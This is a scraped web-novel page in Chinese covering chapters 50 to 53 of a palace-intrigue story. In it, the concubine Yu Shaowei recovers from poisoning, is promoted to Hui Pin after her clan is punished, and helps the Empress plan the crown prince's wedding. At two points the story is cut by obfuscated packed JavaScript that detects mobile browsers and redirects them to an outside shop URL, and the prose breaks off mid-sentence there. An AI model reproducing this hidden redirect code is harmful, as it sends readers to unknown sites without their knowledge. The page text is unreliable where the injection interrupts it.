于少微见人这副模样,知道他被吓得不轻,方才还洋洋得意的心情立马萎了下来,再开口时,声音带着自己都没注意到的小心翼翼:“过来坐,槐序——” 她突然想起槐序肩上的伤,又想改口叫青阳,但青阳身体还虚着…… “你自己搬把椅子……啊不用了,坐这,来这坐。”于少微殷勤地拍了拍床边,又拖着自己的靠枕往里面挪了挪。 亓轸抬脚缓步靠近,却没有立刻坐下,而是皱着眉头打量着于少微,满脸担忧道:“您——” “我没事哈哈哈,没什么大事。”于少微抢先打断亓轸的话。 “殿下别信婕妤的话!”青阳脸上泪痕未干,她端着两杯温水走了过来,先递了一杯给亓轸,又端着另一杯送到于少微的嘴边。 “不用,我可以自己喝。”于少微伸手想接过茶盏。 “婕妤方才拿书册的力气都没有,怎么端的了这滚烫的茶盏,让奴婢来服侍您吧。”青阳一脸固执。 于少微没法,只好就着青阳的手喝了半杯水。 这水也不烫啊,她砸吧着嘴唇有些出神。 “你们两个先下去吧。”于少微怕这两人将事情说得太严重,忙不迭将她们打发走。 “可是……”槐序表情犹豫,她担心于少微旁边没有服侍的人。 半天没讲话的亓轸突然开口道:“你们下去吧,母妃这边有我照顾。” 槐序还是有些犹豫,但两个主子都坚持,她只好牵着青阳退下了。 屋内只剩下两人,亓轸坐在床边,眼睛一错不错地盯着于少微,面上的担忧与后怕明晃晃的显露出来,于少微有些不自在的错开目光,她突然有点后悔让槐序和青阳出去了。 “要不要躺下休息?您脸色很不好。”亓轸率先打破了沉默。 “不用。”于少微轻轻摇头,“你别信青阳说的话,没那么严重,我的确是中毒了,但今早太医已为我施针将毒素都清干净了,我现在已经没事了。”她语速飞快。 “嗯,我知道了。”亓轸轻轻点头,没有再问别的。 他这样的态度反而让人有些捉摸不透,于少微想过很多种可能,唯独没想过他会如此安静的接受了,没有再追问一个字,她狐疑地瞥了一眼亓轸,少年的表情混合着担忧和关心,满眼都是她的倒影。 于少微突然觉得有些手足无措,凝滞的气氛横在两人之间,没有人开口说话。 “我好像是有,有些累了。”于少微扶着额头道。 “我扶您躺下吧。”亓轸起身。 “啊,啊不用,我自己可——” 还不待她说完,亓轸已经将她腿上置的小几抬起放到一边,不由分说地把枕头铺平,扶着她仰面躺好。 “这些我帮您放到书案上?”亓轸替她掖了掖被角,目光转向床角对着书册书信的小几。 “行。”于少微扯过锦被遮住半张脸,闭上了眼睛。 耳边传来窸窸窣窣的声音,是有人搬着凳子坐在了她的床头,感觉到有一股视线在她脸上游走,半响,她终于忍不住睁开眼,对着守在床头的亓轸道:“你怎么还在?” “我得守着您。”亓轸理所当然。 于少微哑然,半响才憋出一句道:“……你不回去上课吗?” “不回去了。”亓轸摇头,“父皇今日要来考校功课,这会儿他应该已经来了,我中途再回去不好。” 于少微一愣,“那我,我,岂不是,我……”她突然舌头跟打结似的,半天说不出一句囫囵话。 亓轸看见她着急的样子,敛了敛眉,垂眸道:“不碍事的,只要您没事就好。” “不行!这怎么能行!”于少微有些激动,亓轸在庆帝面前不得脸,她知道他平日读书练功有多刻苦,也知道他是一个非常有能力的人,可光她知道不顶用啊,他爹不知道啊! 她担了他母妃的身份,无法像皇贵妃淑妃那般给他助力就算了,如今庆帝难得来一次文华殿,亓轸却被她叫到了这里!她真是怕极了勤勤恳恳努力的人因为没有机会而被埋没,可是她却让亓轸因为她的小心思错过了这难得的机会,她之前还在少年面前义正言辞的不让他干涉自己任何,现在却因为自己的事情耽误了他…… 亓轸看见于少微满脸懊悔的模样,抿了抿唇,低着头没有言语。 “不行!”于少微不知道什么时候坐了起来,她一脸严肃地对着亓轸道:“你放心,这次错过的机会我一定会想办法让陛下给你补回来!” 亓轸瞬间抬头,摇头道:“您不用麻烦,父皇政务繁忙,还是不要去打扰了。” “不成,这是我欠你的!”于少微认为少年是在和她客气。 瞧瞧这孩子,天可怜见的,怎么会有这么懂事这么贴心的孩子,还是她家的,她绝对不会让努力的人被辜负的! 于少微沉浸在自己的世界中,完全没注意到旁边亓轸垮下的脸,屋外传来声音,是紫阳端着熬好的药进来了,她看着床上床下表情各异,完全没察觉到她的存在的两人,有些紧张地咽了咽口水,小心翼翼道:“…婕妤,该喝药了。” 于少微依旧神游太虚,倒是亓轸注意到了紫阳手上的托盘,起身走向她道:“交给我就下去吧。” 紫阳下意识抬头看了亓轸一眼,这位五殿下不知为何脸色不是很好,紫阳有些胆怯地缩了缩肩膀,连忙将托盘递了过去。 “母妃喝药了。”亓轸端着药碗走到床头。 于少微总算回过神来,见状伸手道:“给我吧。” “这药有些重,您端不动。”亓轸端药的手不着痕迹地往后缩了缩。 “那你把小几拿过来给我搭腿上,我放桌上喝。”于少微又道。 “不用那么麻烦。”亓轸轻轻叹了口气,“儿臣服侍您吧。”边说着,他边舀起一勺褐色的汤药,低头吹了吹,递到于少微唇边。 于少微下意识仰头,摆手道:“不用不用,我自己来。” “这是儿臣该尽的责任,您生病我没有及时赶过来心里本就愧疚万分,现在就让儿臣服侍您吧。”亓轸捏着瓷勺的手悬在半空,面露祈求。 于少微被他看得有些头皮发麻,最终还是慢腾腾地低头凑近瓷勺,张嘴喝了下去 啧!难喝! 亓轸看见她的脸皱成一团,放下调羹贴心道:“儿臣让人给您取些蜜饯来?” “不用!”于少微拒绝,“继续喝。”她瞟向药碗,示意少年继续。 好不容易,终于忍着尴尬将药喝完,她暗暗下定决心,下次一定要在亓轸不在的时候喝药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121740|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一碗汤药下肚,身上暖洋洋的,困意也涌了上来,于少微重新躺下裹紧被子翻了个身,背对着亓轸迷迷糊糊道:“你回去吧,叫紫阳过来守着。” * 太医每日过来给于少微施针,施完针后,她总感觉自己脑袋有种平常没有的清明,于是又在太医走后抓紧处理淑妃、李嫔与宫外的信件,如此过了三日,由文淑妃代笔写了一封述状,将所有证据汇集在一起呈给了庆帝。 当日,于谢两家的家主被连夜召入宫中,太和殿内灯火彻夜未熄,第二日早朝,这些东西一经公布,群臣间又是炸开了锅。庆帝直接让人关上了宣政殿的大门,与众朝臣一直讨论至下午,才将人放了出去,与此同时,一纸圣谕传出宫: 于氏一族,罔顾国法,私通外寇,盗卖军粮,残害良善,罪大恶极,罄竹难书。着即拿下于氏家主夫妇,打入天牢,择期问斩,抄没于氏全族家产,族人不分老幼,三族尽皆流放,永不得归。 谢氏族中虽有附从之举,实因受于氏蒙蔽,然涉事之罪,不可轻宥。念及谢氏累世忠良,为我朝鞠躬尽瘁,功勋卓著,且现今家主谢筠已自请辞去宰相之职,愿率族人归返太康祖地闭门自省,朕心不忍全诛,特从轻发落:着镇国大将军谢稽即刻上缴兵符,削去兵权,另需按盗卖粮草之数三倍赔付,由李将军亲自督办,将粮草尽数解送边关,以充军实。 庆帝下朝之后直接去了未央宫,陈皇后已经听说了朝中的事,侧头哀叹道:“于谢两家实在无良,为一己之私害得多少人家破人亡。” 庆帝没有接话,而是问道:“依皇后来看,应该如何处置皇贵妃。” 陈皇后道:“陛下是如何打算的。” 庆帝沉吟片刻,开口道:“谢家虽有罪,但已然受到处罚,皇贵妃作为出嫁女,与朕有十几年的情分在,还生养了二皇子,朕以为将其降为四妃之末,并勒令禁足三月,既给了惩戒,也不寒了旁人的心,皇后以为如何?” 陈皇后默不作声地打量庆帝一眼,笑道:“陛下考虑的自然是周全的,只是臣妾方才得了个消息,烦请陛下过目。” 陈皇后将那日下毒陷害的太监的口供递了上去,庆帝翻完之后,眼角已染上怒意:“皇贵妃竟然敢做出如此残害皇嗣宫妃之事!” 陈皇后跟着附和:“臣妾知道陛下顾念旧情,只是此事若不给德妃和于婕妤一个交代,恐难服众啊!如此宫中风气也——” “皇后不必多言。”庆帝打断陈皇后的话,直接道:“依你看应如何处置皇贵妃?” 陈皇后眼里闪过一丝冷意,道:“依臣妾看,皇贵妃犯下如此重罪,理应重罚,但念在她养育皇子,操持宫务有功,就将她贬为贵人,剥夺其协理六宫之权,即日起禁足景阳宫,无召不得踏出,二皇子也不能放在她身边养了,送到臣妾这里吧。” 庆帝听后点点头,道:“就按皇后的意思办。” 庆帝走后,陈皇后身边的桂芸走上前替她捏肩,两人略略絮叨了几句,桂芸想起方才见闻,有些无奈道:“陛下对皇贵妃还是有几分情谊在的,最先给的处罚不过是毛毛雨,要不是娘娘您拿出了她构陷残害的证据,皇贵妃怕是又要躲过一劫了。” 陈皇后闭着眼睛轻笑一声:“你认为陛下对她有几分情谊?” 桂芸哑然,好半天才低低道:“奴婢说错话了。” 陈皇后摇头:“你的确是说错了,但错的不只是这句,陛下是个无心的人,既然无心,又怎会有情?谢凝华又怎么可能逃过一劫?” 51. 第五十一章 封嫔的圣旨到达晴雨阁时,于少微正在和亓轸等人争辩自己到底能不能出门。 “拜托,太医都说了我已经没事了。”于少微表情有点烦躁,但仍在耐心的和拦在床前的几人解释。 “太医只是说您体内的毒素清干净了,但您身体还没恢复。”亓轸表情带着不赞同。 “是啊婕妤,而且今日外边风大,您去御花园,那风里定会带些尘土,届时您鼻子嗓子又要不舒服了。”槐序站在一旁帮腔。 青阳本来也想开口,但瞄到于少微明显不耐的神情,最后只是用力点了几个头,表明自己与另外二人处于统一战线。 于少微看着面前呈一字排开的三人,头疼的要命,她那么大的人了难道还会不顾自己的身体状况胡来?卧床这些时日,她骨头都要躺软了,浑身哪哪都不得劲。之前是因为要顾忌皇贵妃,且她身体状况的确不大好,可现在皇贵妃,啊不,谢贵人已经被禁足了!而她的身体养了一些时日也已恢复大半,出去走走一点问题也不会有! 躺在床上这些日子,窗外的石榴花一簇一簇的开,红艳艳的,在风中摇摇晃晃,像是在嘲笑她不能出门。现已是初夏,她已经能想象御花园里,粉嫩娇艳的海棠、雍容华贵的牡丹,紫藤萝瀑布般的花串……天杀的,她惦念好久了!今天外面就算下刀子她也要出去! 于少微重新换上一副凶狠的表情,张口正准备用自己的三寸不烂之舌让面前的三位保守人士感受一番语言的力量 “我——” “圣旨到——” 欸?于少微张嘴愣在原地。 槐序两人的注意力很快被外头的动静吸引,齐刷刷探头去望,唯有亓轸还笑眯眯的看着床上满脸不爽的于少微,弯起的眼角带着几分促狭的得意,于少微瞪了他一眼,凶狠道:“还不快来扶我出去!” 亓轸更乐了,忙不迭向前伸手去扶人。 来宣旨的是庆帝身旁的孙公公,见于少微被亓轸扶着出来了,他弯腰作了个揖,满脸喜意:“奴才来给婕妤报喜了!” 于少微立马猜到了他的来意,表情瞬间兴奋起来,她小步上前亲自将孙公公扶起,槐序和青阳也十分有眼色的揣着赏钱分别向孙公公和他身后的两个小太监走去。亓轸立在原地没有动作,只是看着于少微精神瞬间抖擞的样子,面上挂着自己都没注意到的轻松笑意。 孙公公等人得了赏钱,面上笑意更盛,见时候差不多了,孙公公从左侧太监手中接过圣旨,高声道:“婕妤于氏听旨——” 于少微带着晴雨阁的人一齐跪下,亓轸看了看,跨步走到于少微身旁,与她并肩跪在最前面。 “婕妤于氏,性秉贞良,心怀社稷,素以恭谨事上,温惠待人,深得宫闱敬重。近察于氏一族有异,洞悉其奸,不以亲疏避嫌,不因私情废公,毅然举发其罪,使国蠹伏法,朝纲得正,此等忠君体国之举,实乃巾帼楷模,朕心甚慰。 为彰其功,特加册命:着将于氏晋封为嫔,特赐封号“慧”,赐金百两、银五百两,东珠一串、翡翠摆件四件,锦缎三十匹,另赏珍珠粉、玉容膏等珍品若干。 今敕令工部修葺之长信宫,赐于氏居之,配宫女八名、太监四名,以供驱使。望于氏居新宫而修德,承恩宠而持谦,一如既往辅弼宫闱,不负朕之厚爱与期许。” “慧嫔娘娘,接旨吧。”孙公公笑眯眯的递过圣旨。 于少微起身:“臣妾接旨。” 明黄色的丝帛拿在手中,她顿时感觉自己的脚步都轻飘飘起来,有一种踩在云端的失重感。 这是她第一次升位分啊,还赐了那么多好东西,体验感不亚于升职加薪,甚至远超于此,毕竟若以大方程度为论,她上辈子那抠门老板连庆帝的小脚指头都比不上。 孙公公见人明显浮于言表的喜悦之情,眼神微动,随即又不着痕迹的收回审视的目光,对着于少微笑道:“那就恭喜慧嫔娘娘了,只是这长信宫久无人住,娘娘搬迁之事恐怕要暂缓几日,工部已经派人进行修葺了,待完工之后自会有人来通知娘娘您。” 于少微颔首:“谢公公提醒。” “那奴才就不打扰娘娘庆祝了。”孙公公又鞠躬作了一揖,带着自己的人手很快退下了。 于少微扒门望了望,确定人都走远了,她低头又看了眼怀里明黄色的圣旨,突然扶着门框兴奋地蹦了起来。 “我!慧嫔!”她指了指自己,眼角眉梢都透着喜悦的光。 槐序青阳等人笑着看她,又齐刷刷的行了一礼:“恭喜慧嫔娘娘。” 于少微听得神清气爽,大手一挥,爽快道:“赏!统统有赏!” 亓轸不知何时凑到了她旁边,懒懒倚着另一边门框,双手作揖,笑道:“儿臣在此恭喜慧嫔娘娘。” 于少微走近拍了拍他的肩,喜滋滋道:“你也赏!待会儿我亲自给你包赏钱。” 亓轸歪了歪脑袋,不言只笑。 “紫阳!”于少微又朝里喊了一声。 “欸!娘娘有何事吩咐?”紫阳快步向前。 “你去通知厨房置几桌席面,再去要几壶好酒来,咱们今日关上门来好好庆祝庆祝!”于少微搓手,显然已经有些迫不及待了。 “好嘞!奴婢这就去。”紫阳同样高兴,转身就门口走。 “诶诶诶等等!带上赏钱,给厨房的师傅们!槐序你给她拿一下!”于少微忙不迭地追在后头吩咐道。 亓轸看着于少微跟散财童子般转着圈发钱,心里涌上一种及其轻松的纯粹的愉悦,似是被她的情绪所感染,他面上的笑容从刚才起就没有消失过,直至脸笑得有些酸了才后知后觉。 于少微揣着圣旨看了又看,屋里的宫人都下去了,只剩下她和亓轸二人,她更肆无忌惮,沿着正厅蹦蹦跳跳的转圈,嘴里哼着不知名的小曲儿。 只是毕竟身体还未完全养好,没转几圈就有些气喘吁吁了。她倚着桌子歪歪扭扭的站着,刚想给自己倒杯水缓缓,就看见亓轸好似能预判一般,端着茶盏出现在她眼皮子底下,她还在吃药,不能喝茶,所以屋子里的茶壶里装的都是清水。 青瓷茶盏里盛着澄净的温水,能清晰的看见 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近来发生的事情太多太多,周旋、调查、陷害、死里逃生,全是她没经历过的,甚至从前都不曾想过,但她并不抗拒这种感觉。 过去的生活有如一潭死水,上面长满了绿苔,密密麻麻,阳光照不进来,风也透不进去,她视这样的日子为坟墓,她提前做了自己的守墓人。 那么如今呢?实话说依旧算不上多好,危机四伏并不在她的喜好氛围内,也少有人会爱上时刻警惕的感觉。可是,在一切发生时,那些强烈的刺激与悬挂的心跳似利刃般瞬间搅浑了一切,她清楚的感受到了自己的存在。游走在黑暗里的人五感通常会更加敏锐,看不清的四周甚至让她生出一种肆意妄为的快感。 这段刺激的日子如今暂告一段落,她重新回到了温暖的日光之下,她的付出也得到了一个不错的结局,四周的风、阳光、欢声笑语她都真真切切的感受到了,这简直再好不过了。 “真是再好不过了。”她举杯一饮而尽,看着空杯低低笑道。 “嗯?”亓轸没反应过来,眼里满是疑惑。 于少微看得心痒痒,冷不丁道:“低头。” 亓轸不解尤甚,但还是顺从的低下脑袋,于少微径直上手狠狠的摸了一把,少年没有动,只是愣愣地抬眼看她,反应慢了半拍,眼里的疑惑与茫然简直快要溢出来了。 于少微一瞧,又换了只手摸了一把,还不待人开口质问,她就猛地将人箍在怀里,嘴里发出畅快的笑声。 笑累了,她松开胳膊,拉着亓轸坐下,从窗格射进的阳光在桌上划着斜斜的透明光线,无言的愉悦静静在两人之间流淌。 又过了一会儿,外头突然传来敲门声,亓轸先一步起身去开门,发现外头站的是陈皇后身边的桂芸。 “五殿下安。”她朝亓轸轻巧的行了个礼。 亓轸微微侧过身体,于少微的身影出现在门外的视线中,桂芸抿嘴笑道:“慧嫔娘娘,皇后娘娘请您去未央宫一叙。” 于少微抬头看了一眼,起身边理衣服边往外走,路过亓轸时顺手拍了拍他的肩,轻声道:“等我回来。” 52. 第五十二章 未央宫内,于少微一进门就提着裙子朝倚在罗汉床上的陈皇后奔了过去,直直跑到人跟前才将将刹住脚,陈皇后见她这副模样,心里了然,笑眯眯道:“圣旨到啦?” “对!”于少微用力点了两个头。 陈皇后笑得更加开怀,拍了拍身侧的锦垫:“坐过来。” 目光又扫过她身上的素色衣裙,眉头微蹙,语气带了几分嗔怪:“今日风这般烈,你身子还没大好,怎不多加件外衫?不过瞧着精神头倒比前几日好多了。” 于少微选择性忽略前面的话,仰头骄傲道:“臣妾这叫人逢喜事精神爽。” 陈皇后被她这副模样逗得失笑,呷了口茶,慢悠悠道:“若是告诉你,起初本宫与陛下商议,本是想封你为贤妃的,你怕是要高兴得掀了这未央宫的屋顶?” “……啊?”于少微脸上的笑意瞬间僵住,呆呆地望着陈皇后,眼里满是错愕。 “陛下昨日来寻本宫,说你此次劳苦功高,又念及许家蒙冤,如今只剩你这一根独苗,于是本宫便提议直接晋你为妃。” 陈皇后话音微顿,轻轻叹了口气,“可陛下说,你入宫不足一年,资历尚浅,又无亲生子嗣,连升两级恐难服众,反倒容易惹来非议,执意要先封嫔位。本宫细想,他这话也有道理,这后宫之中,最可怕的就是嫉妒心,你此次出尽风头,若再骤然封妃——” 她抬手抚了抚于少微的鬓角,语气凝重:“本宫怕你明枪易躲,暗箭难防啊。” 于少微垂眸静听,脸上并无太多波澜。木已成舟的事,本就由不得她置喙,更何况那妃位从未真正属于过她,自然谈不上失落。 陈皇后将她神色尽收眼底,眸中掠过一丝满意,总归是静容的女儿,心性不会差的。 她话锋一转,笑意重又浮上眉梢:“虽暂时封不得妃,但本宫想着,只一个嫔位实在委屈了你,与陛下商议后,便想着给你添个封号。” “封号?”于少微抬眸,眼中满是疑惑,她原以为封号不过是个虚名,可听皇后语气,似乎另有深意? “你在这后宫中,见过其他有封号的妃嫔吗?”陈皇后反问。 于少微凝神思索片刻,缓缓摇头:“臣妾未曾听闻。” “你没听说过也正常。”陈皇后颔首,缓缓解释,“如今陛下的后宫里,除了你,再无旁人有此殊荣。后妃的位分,便如朝官的品级一般,有一套严谨的秩序,这封号,你可理解为朝官的虚衔,即一种荣誉象征。你的位分依旧是正三品嫔,但有了封号,便比寻常嫔位高出半级,月例与日常赏赐,皆按从二品的份例发放。” “那为何陛下从前未曾给旁人赐过封号?”于少微仍是不解。 陈皇后瞥了她一眼,神色淡淡:“这便要问陛下了。”她不欲多谈,转而换了个话题,“你的新宫殿可有去过?” 于少微老实摇头:“还未曾来得及。” “无妨。”陈皇后笑道,“待会儿本宫带你过去,就在未央宫旁边,不足一刻钟的脚程。” 于少微闻言,眼睛瞬间亮了起来,语气满是欣喜:“是娘娘亲自为臣妾选的吗?” “自然。”陈皇后颔首,随即神色微正,“今日叫你来,其实还有一事托付。”她朝侍立一旁的桂芸递了个眼色,桂芸立刻捧着一个锦册上前。 陈皇后接过锦册,转手递向于少微,于少微下意识接过,低头翻开一看,眼中满是惊讶:“娘娘,这是……” 锦册上密密麻麻写着太子婚宴的各项事宜,红绸暗纹衬得愈发喜庆,陈皇后望着她,脸上带着温和的笑意:“太子婚期定在九月,本宫希望你能协助我,一同操办太子与太子妃的婚宴。” 于少微闻言先是一怔,随即望向陈皇后,眼中带着几分受宠若惊:“臣妾……能行吗?太子婚宴乃是国之大事,臣妾资历尚浅,怕难当此任。” 陈皇后抬手拍了拍她的手背,语气温和却笃定:“本宫既敢托付于你,便是信你有这个能力,你心思细,做事稳妥,又有责任心,再者有本宫在一旁坐镇,不会出岔子的。” 她顿了顿,目光掠过窗外的海棠,轻声补充:“太子这孩子,自小身子就弱,此次婚事,陛下与本宫都盼着能办得圆满些,也算是为他冲喜,盼他往后康健顺遂。” 于少微心中微动,想起从前偶尔瞥见的太子身影,总是面色苍白,步履轻缓,确实不似其他皇子那般康健。她敛了敛神色,郑重颔首:“既如此,臣妾定不辜负娘娘所托,尽心尽力操办。” * 时间转眼行至七月末,正是酷热难当之时,于少微梳妆完后又回到了自己的书案,指尖轻撩起遮窗的薄竹帘,灼热的暑气瞬间扑面而来,她下意识眯起眼,俯身理了理案上的书册账本,将其一一叠好纳入素色锦盒。末了又转身立在菱花镜前,确认衣袂无褶皱、钗环无歪斜,才带上槐序与青阳,缓步往未央宫去。 今日与往常不同,未来的太子妃郑淳要入宫试嫁衣胚衣,陈皇后特意喊她前来作陪。这位太子妃出身清贵,母亲早逝,自幼随祖父母居于蜀地,去岁与太子定下婚约后才被接回京城。据宫中派去的教养嬷嬷回禀,无不是夸赞她温婉聪慧、进退有度,闻此,于少微心中也存了几分好奇。 行至未央宫偏殿,尚未进门便闻笑语,于少微掀帘而入,只见陈皇后斜倚在软榻上,身侧坐着一位穿着鹅黄襦裙的少女,眉眼秾丽,气质却瞧着温婉。见她进来,那少女先是不动声色地扫了她一眼,目光飞快掠过她的衣饰妆容,随即又很快转向陈皇后。 于少微将手中锦盒交给迎上来的桂芸,并未像往常般随意落座,而是款步走到皇后跟前,屈膝行了一礼:“臣妾请娘娘安。” “你今儿个倒多礼了。”陈皇后笑着抬手扶她,语气亲昵。 一旁的郑淳连忙跟着起身,双手交叠在身前,眼里闪着好奇。 于少微领会了皇后的态度,神色愈发从容,唇角勾起一抹浅笑:“娘娘这是怪臣妾往日礼少了?” “就你嘴贫!”陈皇后拍了拍她的手背,转 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郑淳轻轻摇头:“都极为合适,宫中绣娘的技艺当真精湛,臣女从未见过如此惊艳的嫁衣。” “合适便好。”陈皇后颔首,话锋一转,“你与太子大婚的贺礼,本宫特意让人用了蜀锦,你可知是谁的主意?” 于少微闻言耳朵一竖,目光不自觉瞟向郑淳,郑淳感受到两人的视线,脸颊瞬间染上薄红,羞涩地低下头:“臣女不知。” “真不知?”陈皇后故意追问,语气带着几分打趣。于少微撑着半边脸,看着对面少女的红晕从耳根蔓延到脖颈,连耳垂都变得粉嫩,忽然明白一向端庄的皇后为何会打趣小辈,这般青涩模样,实在有趣。 见郑淳被问得手足无措,于少微笑着打圆场:“郑姑娘不知,想来是娘娘有些消息没传达到位呢。” 陈皇后莞尔:“他们小辈之间的情分,咱们做长辈的何必事事点破?只要他们安好便好。” 于少微点头附和,随即从桂芸手中取过一本册子:“娘娘前些日子让臣妾拟的大婚座位表,臣妾已粗拟了一份,今日带来请娘娘过目。” 陈皇后接过册子放在一边,道:“你今儿个别走了,留下一起用午膳,陛下和太子也会过来。” 这话一出,于少微与郑淳皆是一怔,于少微惊讶的是陈皇后竟然留她和他们一家子吃饭,而郑淳则是惊于太子会来,毕竟近来暑气浓重,太子身子不大爽利。 三人又闲聊了片刻,于少微发现郑淳极善言辞,妙语连珠又不失分寸,总能恰到好处地接住话头,三人聊得和乐融融,不知不觉便近了午膳时分。 起身移步暖阁时,刚起的话头还未说完,三人边走边聊,氛围愈发融洽,待掀帘进入暖阁,只见庆帝与太子已端坐席上,身旁还坐着一位估摸的三十余岁陌生男子,面容清瘦,身着紫色官服。于少微上前行礼问安,目光在那男子脸上一扫,心中已有了猜测。 果然,下一秒便听到郑淳带着几分惊讶的声音:“父亲?” 53. 第五十三章 几人坐的是一张圆桌,于少微左手边是陈皇后,右手边是郑淳,郑淳再右边是其父亲,当今工部尚书郑戒。 不知道是不是她的错觉,她莫名觉得郑淳与其父亲的氛围怪怪的,似乎不甚亲近。按说郑淳自幼随祖父母在蜀地长大,去岁才回京团聚,父女间生分些本也情理之中,只是这郑戒的眼神不对,看女儿与看她这个陌生人毫无差别,似乎还藏着几分刻意的回避。再看郑淳,入座后就始终垂着眼,连余光都未曾往父亲那边偏过,两人明明坐在一处,气氛却疏离得像分处殿内殿外。她还记得自己之前与亓轸的谈话,这位敢为女儿拒绝太子妃之位的父亲似乎与他们料想的不同? 宫女们鱼贯而入,玉盘珍馐次第上桌,氤氲的香气漫开,庆帝与太子亓辒等人闲谈起来,话题或涉前朝政务,或及宫中琐事,气氛渐渐热络。 于少微谨守身份,低头吃菜,只垂首侧耳听话,不问也不言,郑淳也不复先前在皇后宫中的健谈,也维持着低头用膳的姿态,两人成了席上唯二不参与闲谈的人。 坐在庆帝左手边的太子亓辒见郑淳沉默不语,忽然主动开口搭话,两人斜对着,隔着桌子一来一回聊了好几句,言语间虽客气,却也融洽。陈皇后面上笑容明显,庆帝也颔首笑道:“郑卿此前为太子妃一事,曾连递几道折子请辞,如今婚期已定,两位小辈这般投契,你这做父亲的总该消了顾虑吧。” 这话落音,席上的笑语忽然淡了几分。郑戒抬眼瞥了眼女儿,语气平淡:“臣不敢置喙皇家婚配。”顿了一下,他又转向亓辒,语气有些生硬:“唯愿殿下念及臣女年幼,性子莽撞,若有半分不妥,臣……” “父亲多虑了。”郑淳出声截住话头,侧头看着郑戒道:“女儿既许给东宫,自当守妇德、尽本分,断不会给皇家添乱,也不劳父亲再挂心。” 太子表情微怔,旋即敛了神色,抬眼对着帝后笑道:“儿臣定会护太子妃周全,父皇与母后只管放心。” 说罢,他又转向郑戒,目光掠过他侧脸紧绷的线条,温和道:“郑大人爱惜女儿,往后我与郑淳相依,定不让大人忧心。” 陈皇后的目光在父女二人脸上逡巡片刻,没急着接话,只是侧头示意身后的桂芸取来一只锦盒,亲手打开,里面静静躺着一支赤金嵌红宝石的步摇,样式与她鬓边那支相仿。 “孩子大了,自有自己的思量与分寸。”陈皇后执起步摇,对着郑淳温声道,“郑卿也是疼女心切,这份心情本宫懂的,想当年本宫嫁给陛下时,家父也是这般,日日忧心忡忡,总怕本宫在宫中受了委屈。” 郑淳依言上前,皇后亲自替她换下鬓边的珠花,用只有两人能听见的声音低语:“父女哪有隔夜的仇,纵是心中有怨,也别在人前露了形迹,伤的终究是彼此的心,往后入了东宫,娘家便是你的根基,莫要把路走窄了。” 郑淳的脊背微不可查地僵了一下,垂在身侧的手悄悄紧了紧,却依旧没有回头去看父亲。陈皇后替她簪好步摇,扶了扶她的肩头,又抬眼对郑戒笑道:“郑大人瞧瞧,这支步摇配淳儿,可是比先前那支更合宜?本宫瞧着,倒像极了当年阿殊入宫赴宴时戴的那支,都是一样的灵秀动人。” 阿殊本名陈曼殊,是陈皇后的堂妹,也是郑淳的母亲,于少微心中一动,想起此前听闻的旧事,陈曼殊七年前便因病离世,而郑淳被送往蜀地,也正是七年前。 陈皇后此言一出,郑戒的身体微不可查地僵了僵,原本挺直的肩膀也微微下塌,眼底掠过一丝复杂难言的痛楚。于少微隐约听到皇后轻不可闻地叹了口气,随即见她拍了拍郑淳的手背,又唤宫人取来一只温润的平安牌,递给郑戒:“这块平安牌,是阿殊当年特意寻匠人雕琢的,寄存在本宫这里,她怕自己等不到女儿出嫁,便央求本宫在淳儿大婚之日替她亲手系上。本宫今日将这玉牌交给你,你是淳儿的父亲,合该由你替她戴上,既盼淳儿往后如阿殊所愿平安顺遂,也盼着郑大人能宽宽心,儿女自有儿女福,莫要太过执念。” 那平安牌是上好的暖玉所制,触手温润,带着淡淡的玉泽,郑戒捏着玉牌的指尖颤了颤,抬眼看向皇后,终究是躬身道:“谢皇后娘娘恩典。” 午膳终了,郑淳与郑戒一同起身告辞,太子特意起身请命相送,庆帝颔首应允,暖阁中转眼只剩下帝后与于少微三人,于少微搁下筷子,正琢磨着该如何措辞告退,却听陈皇后率先开口,语气带着几分探究:“陛下今日怎么突然把郑大人喊过来了?” 庆帝手中捏着茶盏,淡淡道:“他下朝后找朕谈事,朕想起他女儿今日也在宫中,便顺便叫过来了。朕瞧着他今日的模样,比先前递折子时沉郁得多。” 于少微听得一愣,怎么突然就聊起来了? 她悄悄瞥了一眼陈皇后,见皇后并未在意她的存在,只是点了点茶杯,于少微立刻意会,起身替她添了些热茶,又顺手给自己的茶杯续上,捧着茶盏靠在椅背上继续竖耳听着。 陈皇后端起茶盏呷了一口,叹道:“他是在怨自己呢,阿殊走了七年了,他还是没放下,心里对阿殊的愧疚全折在了自己女儿身上。当年将淳儿送走不就是为了躲她吗,怕看见她就想起阿殊的死,如今又拦着她嫁入东宫,还不是在担心这孩子出什么事。” “朕瞧着那丫头也是犟脾气。”庆帝接口道,“郑卿越是拦,她越是要往前冲,这父女俩,一个嘴笨,一个心犟,心思都藏在骨头缝里。” “皇家婚事,本就由不得私情,可这父女情分,断断不能凉了。”皇后抚着腕间的缠丝镯,语气轻缓,“婚事已经定下,往后东宫与郑府便是一体了。郑卿是肱骨之臣,他这颗心结不解开,于太子、于那孩子,都不是好事。”她抬眼看向皇上,“臣妾在装平安牌的匣子里留了条子,叮嘱他阿殊在时最盼的便是父女和乐,莫要让故人寒心。” 庆帝也颔首道:“朕也会寻个由头召他入值,私下提点两句。他护女心切,朕懂,可东宫也不是虎狼窝,以太子的性子,定是不会委屈了那孩子。”他顿了顿,又添了句,“只是终究要他们父女自己把话说开,旁人再多提点,也抵不过一句父女间的真心话。” “劳陛下费心了。”陈皇后亲手替庆帝添了茶。 庆帝看了看茶杯,只道:“毕竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 